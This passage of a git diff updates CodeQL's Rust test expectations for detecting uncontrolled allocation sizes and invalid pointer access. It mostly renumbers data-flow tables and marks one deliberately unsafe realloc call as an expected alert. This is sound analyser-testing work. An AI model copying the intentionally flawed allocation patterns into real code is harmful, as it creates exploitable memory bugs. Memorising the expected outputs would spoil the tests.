TuplePat [tuple.0] | main.rs:60:10:60:11 | k2 | provenance | | | main.rs:60:10:60:11 | k2 | main.rs:61:31:61:32 | k2 | provenance | | -| main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | provenance | MaD:34 | | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | main.rs:60:9:60:20 | TuplePat [tuple.0] | provenance | | -| main.rs:60:34:60:35 | k1 | main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | provenance | MaD:19 | +| main.rs:60:34:60:35 | k1 | main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | provenance | MaD:22 | | main.rs:61:31:61:32 | k2 | main.rs:61:13:61:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:62:9:62:20 | TuplePat [tuple.0] | main.rs:62:10:62:11 | k3 | provenance | | | main.rs:62:10:62:11 | k3 | main.rs:63:31:63:32 | k3 | provenance | | -| main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | provenance | MaD:34 | | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | main.rs:62:9:62:20 | TuplePat [tuple.0] | provenance | | | main.rs:63:31:63:32 | k3 | main.rs:63:13:63:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | main.rs:64:31:64:59 | ... .unwrap() | provenance | MaD:31 | +| main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | main.rs:64:31:64:59 | ... .unwrap() | provenance | MaD:34 | | main.rs:64:31:64:59 | ... .unwrap() | main.rs:64:13:64:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:64:48:64:49 | k1 | main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | provenance | MaD:21 | -| main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | main.rs:65:31:65:59 | ... .unwrap() | provenance | MaD:31 | +| main.rs:64:48:64:49 | k1 | main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | provenance | MaD:24 | +| main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | main.rs:65:31:65:59 | ... .unwrap() | provenance | MaD:34 | | main.rs:65:31:65:59 | ... .unwrap() | main.rs:65:13:65:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:67:9:67:10 | l4 | main.rs:68:31:68:32 | l4 | provenance | | -| main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | main.rs:67:14:67:56 | ... .unwrap() | provenance | MaD:31 | +| main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | main.rs:67:14:67:56 | ... .unwrap() | provenance | MaD:34 | | main.rs:67:14:67:56 | ... .unwrap() | main.rs:67:9:67:10 | l4 | provenance | | -| main.rs:67:46:67:46 | v | main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:67:46:67:46 | v | main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:68:31:68:32 | l4 | main.rs:68:13:68:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:86:35:86:42 | ...: usize | main.rs:87:54:87:54 | v | provenance | | | main.rs:87:9:87:14 | layout | main.rs:88:31:88:36 | layout | provenance | | -| main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | main.rs:87:18:87:67 | ... .unwrap() | provenance | MaD:31 | +| main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | main.rs:87:18:87:67 | ... .unwrap() | provenance | MaD:34 | | main.rs:87:18:87:67 | ... .unwrap() | main.rs:87:9:87:14 | layout | provenance | | -| main.rs:87:54:87:54 | v | main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | +| main.rs:87:54:87:54 | v | main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | provenance | MaD:26 | | main.rs:88:31:88:36 | layout | main.rs:88:13:88:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:91:38:91:45 | ...: usize | main.rs:92:47:92:47 | v | provenance | | | main.rs:91:38:91:45 | ...: usize | main.rs:101:51:101:51 | v | provenance | | @@ -150,16 +156,16 @@ edges | main.rs:91:38:91:45 | ...: usize | main.rs:161:55:161:55 | v | provenance | | | main.rs:92:9:92:10 | l1 | main.rs:96:35:96:36 | l1 | provenance | | | main.rs:92:9:92:10 | l1 | main.rs:102:35:102:36 | l1 | provenance | | -| main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | main.rs:92:14:92:57 | ... .unwrap() | provenance | MaD:31 | +| main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | main.rs:92:14:92:57 | ... .unwrap() | provenance | MaD:34 | | main.rs:92:14:92:57 | ... .unwrap() | main.rs:92:9:92:10 | l1 | provenance | | -| main.rs:92:47:92:47 | v | main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:92:47:92:47 | v | main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:96:35:96:36 | l1 | main.rs:96:17:96:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:96:35:96:36 | l1 | main.rs:109:35:109:36 | l1 | provenance | | | main.rs:96:35:96:36 | l1 | main.rs:111:35:111:36 | l1 | provenance | | | main.rs:101:13:101:14 | l3 | main.rs:103:35:103:36 | l3 | provenance | | -| main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | main.rs:101:18:101:61 | ... .unwrap() | provenance | MaD:31 | +| main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | main.rs:101:18:101:61 | ... .unwrap() | provenance | MaD:34 | | main.rs:101:18:101:61 | ... .unwrap() | main.rs:101:13:101:14 | l3 | provenance | | -| main.rs:101:51:101:51 | v | main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:101:51:101:51 | v | main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:102:35:102:36 | l1 | main.rs:102:17:102:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:102:35:102:36 | l1 | main.rs:109:35:109:36 | l1 | provenance | | | main.rs:102:35:102:36 | l1 | main.rs:111:35:111:36 | l1 | provenance | | @@ -170,85 +176,92 @@ edges | main.rs:111:35:111:36 | l1 | main.rs:111:17:111:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:111:35:111:36 | l1 | main.rs:146:35:146:36 | l1 | provenance | | | main.rs:145:13:145:14 | l9 | main.rs:148:35:148:36 | l9 | provenance | | -| main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | main.rs:145:18:145:61 | ... .unwrap() | provenance | MaD:31 | +| main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | main.rs:145:18:145:61 | ... .unwrap() | provenance | MaD:34 | | main.rs:145:18:145:61 | ... .unwrap() | main.rs:145:13:145:14 | l9 | provenance | | -| main.rs:145:51:145:51 | v | main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:145:51:145:51 | v | main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:146:35:146:36 | l1 | main.rs:146:17:146:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:146:35:146:36 | l1 | main.rs:177:31:177:32 | l1 | provenance | | | main.rs:148:35:148:36 | l9 | main.rs:148:17:148:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:151:9:151:11 | l10 | main.rs:152:31:152:33 | l10 | provenance | | -| main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | main.rs:151:15:151:78 | ... .unwrap() | provenance | MaD:31 | +| main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | main.rs:151:15:151:78 | ... .unwrap() | provenance | MaD:34 | | main.rs:151:15:151:78 | ... .unwrap() | main.rs:151:9:151:11 | l10 | provenance | | -| main.rs:151:48:151:68 | ...::min(...) | main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | -| main.rs:151:62:151:62 | v | main.rs:151:48:151:68 | ...::min(...) | provenance | MaD:34 | +| main.rs:151:48:151:68 | ...::min(...) | main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | +| main.rs:151:62:151:62 | v | main.rs:151:48:151:68 | ...::min(...) | provenance | MaD:37 | | main.rs:152:31:152:33 | l10 | main.rs:152:13:152:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:154:9:154:11 | l11 | main.rs:155:31:155:33 | l11 | provenance | | -| main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | main.rs:154:15:154:78 | ... .unwrap() | provenance | MaD:31 | +| main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | main.rs:154:15:154:78 | ... .unwrap() | provenance | MaD:34 | | main.rs:154:15:154:78 | ... .unwrap() | main.rs:154:9:154:11 | l11 | provenance | | -| main.rs:154:48:154:68 | ...::max(...) | main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | -| main.rs:154:62:154:62 | v | main.rs:154:48:154:68 | ...::max(...) | provenance | MaD:33 | +| main.rs:154:48:154:68 | ...::max(...) | main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | +| main.rs:154:62:154:62 | v | main.rs:154:48:154:68 | ...::max(...) | provenance | MaD:36 | | main.rs:155:31:155:33 | l11 | main.rs:155:13:155:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:161:13:161:15 | l13 | main.rs:162:35:162:37 | l13 | provenance | | -| main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | main.rs:161:19:161:68 | ... .unwrap() | provenance | MaD:31 | +| main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | main.rs:161:19:161:68 | ... .unwrap() | provenance | MaD:34 | | main.rs:161:19:161:68 | ... .unwrap() | main.rs:161:13:161:15 | l13 | provenance | | -| main.rs:161:55:161:55 | v | main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | +| main.rs:161:55:161:55 | v | main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | provenance | MaD:26 | | main.rs:162:35:162:37 | l13 | main.rs:162:17:162:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:162:35:162:37 | l13 | main.rs:169:35:169:37 | l13 | provenance | | | main.rs:169:35:169:37 | l13 | main.rs:169:17:169:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:177:31:177:32 | l1 | main.rs:177:13:177:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:183:29:183:36 | ...: usize | main.rs:192:46:192:46 | v | provenance | | +| main.rs:183:29:183:36 | ...: usize | main.rs:202:48:202:48 | v | provenance | | | main.rs:192:9:192:10 | l2 | main.rs:193:38:193:39 | l2 | provenance | | -| main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | main.rs:192:14:192:56 | ... .unwrap() | provenance | MaD:31 | +| main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | main.rs:192:14:192:56 | ... .unwrap() | provenance | MaD:34 | | main.rs:192:14:192:56 | ... .unwrap() | main.rs:192:9:192:10 | l2 | provenance | | -| main.rs:192:46:192:46 | v | main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:192:46:192:46 | v | main.rs:192:14:192:47 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:193:38:193:39 | l2 | main.rs:193:32:193:36 | alloc | provenance | MaD:10 Sink:MaD:10 | +| main.rs:193:38:193:39 | l2 | main.rs:193:32:193:36 | alloc | provenance | MaD:11 Sink:MaD:11 | | main.rs:193:38:193:39 | l2 | main.rs:194:45:194:46 | l2 | provenance | | -| main.rs:194:45:194:46 | l2 | main.rs:194:32:194:43 | alloc_zeroed | provenance | MaD:11 Sink:MaD:11 | +| main.rs:194:45:194:46 | l2 | main.rs:194:32:194:43 | alloc_zeroed | provenance | MaD:12 Sink:MaD:12 | +| main.rs:194:45:194:46 | l2 | main.rs:194:32:194:43 | alloc_zeroed | provenance | MaD:12 Sink:MaD:12 | +| main.rs:194:45:194:46 | l2 | main.rs:194:32:194:43 | alloc_zeroed | provenance | MaD:13 Sink:MaD:13 | | main.rs:194:45:194:46 | l2 | main.rs:195:41:195:42 | l2 | provenance | | | main.rs:195:41:195:42 | l2 | main.rs:195:32:195:39 | allocate | provenance | MaD:6 Sink:MaD:6 | | main.rs:195:41:195:42 | l2 | main.rs:196:48:196:49 | l2 | provenance | | | main.rs:196:48:196:49 | l2 | main.rs:196:32:196:46 | allocate_zeroed | provenance | MaD:7 Sink:MaD:7 | | main.rs:196:48:196:49 | l2 | main.rs:197:41:197:42 | l2 | provenance | | | main.rs:197:41:197:42 | l2 | main.rs:197:32:197:39 | allocate | provenance | MaD:1 Sink:MaD:1 | +| main.rs:197:41:197:42 | l2 | main.rs:197:32:197:39 | allocate | provenance | MaD:1 Sink:MaD:1 | | main.rs:197:41:197:42 | l2 | main.rs:198:48:198:49 | l2 | provenance | | | main.rs:198:48:198:49 | l2 | main.rs:198:32:198:46 | allocate_zeroed | provenance | MaD:2 Sink:MaD:2 | +| main.rs:198:48:198:49 | l2 | main.rs:198:32:198:46 | allocate_zeroed | provenance | MaD:2 Sink:MaD:2 | | main.rs:198:48:198:49 | l2 | main.rs:208:53:208:54 | l2 | provenance | | | main.rs:198:48:198:49 | l2 | main.rs:210:60:210:61 | l2 | provenance | | +| main.rs:202:48:202:48 | v | main.rs:202:32:202:38 | realloc | provenance | MaD:14 Sink:MaD:14 | | main.rs:208:53:208:54 | l2 | main.rs:208:40:208:43 | grow | provenance | MaD:8 Sink:MaD:8 | | main.rs:210:60:210:61 | l2 | main.rs:210:40:210:50 | grow_zeroed | provenance | MaD:9 Sink:MaD:9 | | main.rs:217:27:217:34 | ...: usize | main.rs:219:26:219:26 | v | provenance | | -| main.rs:219:26:219:26 | v | main.rs:219:13:219:24 | ...::malloc | provenance | MaD:14 Sink:MaD:14 | +| main.rs:219:26:219:26 | v | main.rs:219:13:219:24 | ...::malloc | provenance | MaD:17 Sink:MaD:17 | | main.rs:219:26:219:26 | v | main.rs:220:36:220:36 | v | provenance | | -| main.rs:220:36:220:36 | v | main.rs:220:13:220:31 | ...::aligned_alloc | provenance | MaD:12 Sink:MaD:12 | +| main.rs:220:36:220:36 | v | main.rs:220:13:220:31 | ...::aligned_alloc | provenance | MaD:15 Sink:MaD:15 | | main.rs:220:36:220:36 | v | main.rs:222:30:222:30 | v | provenance | | -| main.rs:222:30:222:30 | v | main.rs:222:13:222:24 | ...::calloc | provenance | MaD:13 Sink:MaD:13 | +| main.rs:222:30:222:30 | v | main.rs:222:13:222:24 | ...::calloc | provenance | MaD:16 Sink:MaD:16 | | main.rs:222:30:222:30 | v | main.rs:223:26:223:26 | v | provenance | | -| main.rs:223:26:223:26 | v | main.rs:223:13:223:24 | ...::calloc | provenance | MaD:13 Sink:MaD:13 | +| main.rs:223:26:223:26 | v | main.rs:223:13:223:24 | ...::calloc | provenance | MaD:16 Sink:MaD:16 | | main.rs:223:26:223:26 | v | main.rs:224:31:224:31 | v | provenance | | -| main.rs:224:31:224:31 | v | main.rs:224:13:224:25 | ...::realloc | provenance | MaD:15 Sink:MaD:15 | -| main.rs:279:24:279:41 | ...: String | main.rs:280:21:280:47 | user_input.parse() [Ok] | provenance | MaD:32 | +| main.rs:224:31:224:31 | v | main.rs:224:13:224:25 | ...::realloc | provenance | MaD:18 Sink:MaD:18 | +| main.rs:279:24:279:41 | ...: String | main.rs:280:21:280:47 | user_input.parse() [Ok] | provenance | MaD:35 | | main.rs:280:9:280:17 | num_bytes | main.rs:282:54:282:62 | num_bytes | provenance | | | main.rs:280:21:280:47 | user_input.parse() [Ok] | main.rs:280:21:280:48 | TryExpr | provenance | | | main.rs:280:21:280:48 | TryExpr | main.rs:280:9:280:17 | num_bytes | provenance | | | main.rs:282:9:282:14 | layout | main.rs:284:40:284:45 | layout | provenance | | -| main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | main.rs:282:18:282:75 | ... .unwrap() | provenance | MaD:31 | +| main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | main.rs:282:18:282:75 | ... .unwrap() | provenance | MaD:34 | | main.rs:282:18:282:75 | ... .unwrap() | main.rs:282:9:282:14 | layout | provenance | | -| main.rs:282:54:282:62 | num_bytes | main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | +| main.rs:282:54:282:62 | num_bytes | main.rs:282:18:282:66 | ...::from_size_align(...) [Ok] | provenance | MaD:26 | | main.rs:284:40:284:45 | layout | main.rs:284:22:284:38 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:308:25:308:38 | ...::args | main.rs:308:25:308:40 | ...::args(...) [element] | provenance | Src:MaD:16 | -| main.rs:308:25:308:40 | ...::args(...) [element] | main.rs:308:25:308:47 | ... .nth(...) [Some] | provenance | MaD:35 | -| main.rs:308:25:308:47 | ... .nth(...) [Some] | main.rs:308:25:308:74 | ... .unwrap_or(...) | provenance | MaD:29 | +| main.rs:308:25:308:38 | ...::args | main.rs:308:25:308:40 | ...::args(...) [element] | provenance | Src:MaD:19 | +| main.rs:308:25:308:40 | ...::args(...) [element] | main.rs:308:25:308:47 | ... .nth(...) [Some] | provenance | MaD:38 | +| main.rs:308:25:308:47 | ... .nth(...) [Some] | main.rs:308:25:308:74 | ... .unwrap_or(...) | provenance | MaD:32 | | main.rs:308:25:308:74 | ... .unwrap_or(...) | main.rs:279:24:279:41 | ...: String | provenance | | | main.rs:317:9:317:9 | v | main.rs:320:34:320:34 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:321:42:321:42 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:322:36:322:36 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:323:27:323:27 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:324:25:324:25 | v | provenance | | -| main.rs:317:13:317:26 | ...::args | main.rs:317:13:317:28 | ...::args(...) [element] | provenance | Src:MaD:16 | -| main.rs:317:13:317:28 | ...::args(...) [element] | main.rs:317:13:317:35 | ... .nth(...) [Some] | provenance | MaD:35 | -| main.rs:317:13:317:35 | ... .nth(...) [Some] | main.rs:317:13:317:65 | ... .unwrap_or(...) | provenance | MaD:29 | -| main.rs:317:13:317:65 | ... .unwrap_or(...) | main.rs:317:13:317:82 | ... .parse() [Ok] | provenance | MaD:32 | -| main.rs:317:13:317:82 | ... .parse() [Ok] | main.rs:317:13:317:91 | ... .unwrap() | provenance | MaD:31 | +| main.rs:317:13:317:26 | ...::args | main.rs:317:13:317:28 | ...::args(...) [element] | provenance | Src:MaD:19 | +| main.rs:317:13:317:28 | ...::args(...) [element] | main.rs:317:13:317:35 | ... .nth(...) [Some] | provenance | MaD:38 | +| main.rs:317:13:317:35 | ... .nth(...) [Some] | main.rs:317:13:317:65 | ... .unwrap_or(...) | provenance | MaD:32 | +| main.rs:317:13:317:65 | ... .unwrap_or(...) | main.rs:317:13:317:82 | ... .parse() [Ok] | provenance | MaD:35 | +| main.rs:317:13:317:82 | ... .parse() [Ok] | main.rs:317:13:317:91 | ... .unwrap() | provenance | MaD:34 | | main.rs:317:13:317:91 | ... .unwrap() | main.rs:317:9:317:9 | v | provenance | | | main.rs:320:34:320:34 | v | main.rs:12:36:12:43 | ...: usize | provenance | | | main.rs:321:42:321:42 | v | main.rs:43:44:43:51 | ...: usize | provenance | | @@ -266,31 +279,34 @@ models | 8 | Sink: lang:std; ::grow; alloc-layout; Argument[2] | | 9 | Sink: lang:std; ::grow_zeroed; alloc-layout; Argument[2] | | 10 | Sink: lang:std; ::alloc; alloc-layout; Argument[0] | -| 11 | Sink: lang:std; ::alloc_zeroed; alloc-layout; Argument[0] | -| 12 | Sink: repo:https://github.com/rust-lang/libc:libc; ::aligned_alloc; alloc-size; Argument[1] | -| 13 | Sink: repo:https://github.com/rust-lang/libc:libc; ::calloc; alloc-size; Argument[0,1] | -| 14 | Sink: repo:https://github.com/rust-lang/libc:libc; ::malloc; alloc-size; Argument[0] | -| 15 | Sink: repo:https://github.com/rust-lang/libc:libc; ::realloc; alloc-size; Argument[1] | -| 16 | Source: lang:std; crate::env::args; commandargs; ReturnValue.Element | -| 17 | Summary: lang:core; ::align_to; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 18 | Summary: lang:core; ::array; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 19 | Summary: lang:core; ::extend; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | -| 20 | Summary: lang:core; ::extend; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | -| 21 | Summary: lang:core; ::extend_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 22 | Summary: lang:core; ::extend_packed; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 23 | Summary: lang:core; ::from_size_align; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 24 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue; taint | -| 25 | Summary: lang:core; ::pad_to_align; Argument[self]; ReturnValue; taint | -| 26 | Summary: lang:core; ::repeat; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | -| 27 | Summary: lang:core; ::repeat_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 28 | Summary: lang:core; ::size; Argument[self]; ReturnValue; taint | -| 29 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 30 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 31 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 32 | Summary: lang:core; ::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 33 | Summary: lang:core; crate::cmp::max; Argument[0]; ReturnValue; value | -| 34 | Summary: lang:core; crate::cmp::min; Argument[0]; ReturnValue; value | -| 35 | Summary: lang:core; crate::iter::traits::iterator::Iterator::nth; Argument[self].Element; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 11 | Sink: lang:std; ::alloc; alloc-size; Argument[0] | +| 12 | Sink: lang:std; ::alloc_zeroed; alloc-layout; Argument[0] | +| 13 | Sink: lang:std; ::alloc_zeroed; alloc-size; Argument[0] | +| 14 | Sink: lang:std; ::realloc; alloc-size; Argument[2] | +| 15 | Sink: repo:https://github.com/rust-lang/libc:libc; ::aligned_alloc; alloc-size; Argument[1] | +| 16 | Sink: repo:https://github.com/rust-lang/libc:libc; ::calloc; alloc-size; Argument[0,1] | +| 17 | Sink: repo:https://github.com/rust-lang/libc:libc; ::malloc; alloc-size; Argument[0] | +| 18 | Sink: repo:https://github.com/rust-lang/libc:libc; ::realloc; alloc-size; Argument[1] | +| 19 | Source: lang:std; crate::env::args; commandargs; ReturnValue.Element | +| 20 | Summary: lang:core; ::align_to; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 21 | Summary: lang:core; ::array; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 22 | Summary: lang:core; ::extend; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | +| 23 | Summary: lang:core; ::extend; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | +| 24 | Summary: lang:core; ::extend_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 25 | Summary: lang:core; ::extend_packed; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 26 | Summary: lang:core; ::from_size_align; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 27 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue; taint | +| 28 | Summary: lang:core; ::pad_to_align; Argument[self]; ReturnValue; taint | +| 29 | Summary: lang:core; ::repeat; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | +| 30 | Summary: lang:core; ::repeat_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 31 | Summary: lang:core; ::size; Argument[self]; ReturnValue; taint | +| 32 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 33 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 34 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 35 | Summary: lang:core; ::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 36 | Summary: lang:core; crate::cmp::max; Argument[0]; ReturnValue; value | +| 37 | Summary: lang:core; crate::cmp::min; Argument[0]; ReturnValue; value | +| 38 | Summary: lang:core; crate::iter::traits::iterator::Iterator::nth; Argument[self].Element; ReturnValue.Field[crate::option::Option::Some(0)]; value | nodes | main.rs:12:36:12:43 | ...: usize | semmle.label | ...: usize | | main.rs:18:13:18:31 | ...::realloc | semmle.label | ...::realloc | @@ -448,17 +464,24 @@ nodes | main.rs:192:14:192:56 | ... .unwrap() | semmle.label | ... .unwrap() | | main.rs:192:46:192:46 | v | semmle.label | v | | main.rs:193:32:193:36 | alloc | semmle.label | alloc | +| main.rs:193:32:193:36 | alloc | semmle.label | alloc | | main.rs:193:38:193:39 | l2 | semmle.label | l2 | | main.rs:194:32:194:43 | alloc_zeroed | semmle.label | alloc_zeroed | +| main.rs:194:32:194:43 | alloc_zeroed | semmle.label | alloc_zeroed | +| main.rs:194:32:194:43 | alloc_zeroed | semmle.label | alloc_zeroed | | main.rs:194:45:194:46 | l2 | semmle.label | l2 | | main.rs:195:32:195:39 | allocate | semmle.label | allocate | | main.rs:195:41:195:42 | l2 | semmle.label | l2 | | main.rs:196:32:196:46 | allocate_zeroed | semmle.label | allocate_zeroed | | main.rs:196:48:196:49 | l2 | semmle.label | l2 | | main.rs:197:32:197:39 | allocate | semmle.label | allocate | +| main.rs:197:32:197:39 | allocate | semmle.label | allocate | | main.rs:197:41:197:42 | l2 | semmle.label | l2 | | main.rs:198:32:198:46 | allocate_zeroed | semmle.label | allocate_zeroed | +| main.rs:198:32:198:46 | allocate_zeroed | semmle.label | allocate_zeroed | | main.rs:198:48:198:49 | l2 | semmle.label | l2 | +| main.rs:202:32:202:38 | realloc | semmle.label | realloc | +| main.rs:202:48:202:48 | v | semmle.label | v | | main.rs:208:40:208:43 | grow | semmle.label | grow | | main.rs:208:53:208:54 | l2 | semmle.label | l2 | | main.rs:210:40:210:50 | grow_zeroed | semmle.label | grow_zeroed | diff --git a/rust/ql/test/query-tests/security/CWE-770/main.rs b/rust/ql/test/query-tests/security/CWE-770/main.rs index 6d786dd0323..656a6aa23a6 100644 --- a/rust/ql/test/query-tests/security/CWE-770/main.rs +++ b/rust/ql/test/query-tests/security/CWE-770/main.rs @@ -199,7 +199,7 @@ unsafe fn test_system_alloc(v: usize) { let l3 = std::alloc::Layout::array::(10).unwrap(); let m3 = std::alloc::System.alloc(l3); - let _ = std::alloc::System.realloc(m3, l3, v); // $ MISSING: Alert[rust/uncontrolled-allocation-size] + let _ = std::alloc::System.realloc(m3, l3, v); // $ Alert[rust/uncontrolled-allocation-size]=arg1 let l4 = std::alloc::Layout::array::(10).unwrap(); let m4 = std::ptr::NonNull::::new(std::alloc::alloc(l4)).unwrap(); diff --git a/rust/ql/test/query-tests/security/CWE-825/AccessInvalidPointer.expected b/rust/ql/test/query-tests/security/CWE-825/AccessInvalidPointer.expected index 7bccaa02f63..e8a0eead8f9 100644 --- a/rust/ql/test/query-tests/security/CWE-825/AccessInvalidPointer.expected +++ b/rust/ql/test/query-tests/security/CWE-825/AccessInvalidPointer.expected @@ -10,9 +10,12 @@ | deallocation.rs:95:5:95:31 | ...::write::<...> | deallocation.rs:70:3:70:21 | ...::dealloc | deallocation.rs:95:5:95:31 | ...::write::<...> | This operation dereferences a pointer that may be $@. | deallocation.rs:70:3:70:21 | ...::dealloc | invalid | | deallocation.rs:115:13:115:18 | my_ptr | deallocation.rs:112:3:112:12 | ...::free | deallocation.rs:115:13:115:18 | my_ptr | This operation dereferences a pointer that may be $@. | deallocation.rs:112:3:112:12 | ...::free | invalid | | deallocation.rs:130:14:130:15 | p1 | deallocation.rs:123:23:123:40 | ...::dangling | deallocation.rs:130:14:130:15 | p1 | This operation dereferences a pointer that may be $@. | deallocation.rs:123:23:123:40 | ...::dangling | invalid | +| deallocation.rs:130:14:130:15 | p1 | deallocation.rs:123:23:123:40 | ...::dangling | deallocation.rs:130:14:130:15 | p1 | This operation dereferences a pointer that may be $@. | deallocation.rs:123:23:123:40 | ...::dangling | invalid | | deallocation.rs:131:14:131:15 | p2 | deallocation.rs:124:21:124:42 | ...::dangling_mut | deallocation.rs:131:14:131:15 | p2 | This operation dereferences a pointer that may be $@. | deallocation.rs:124:21:124:42 | 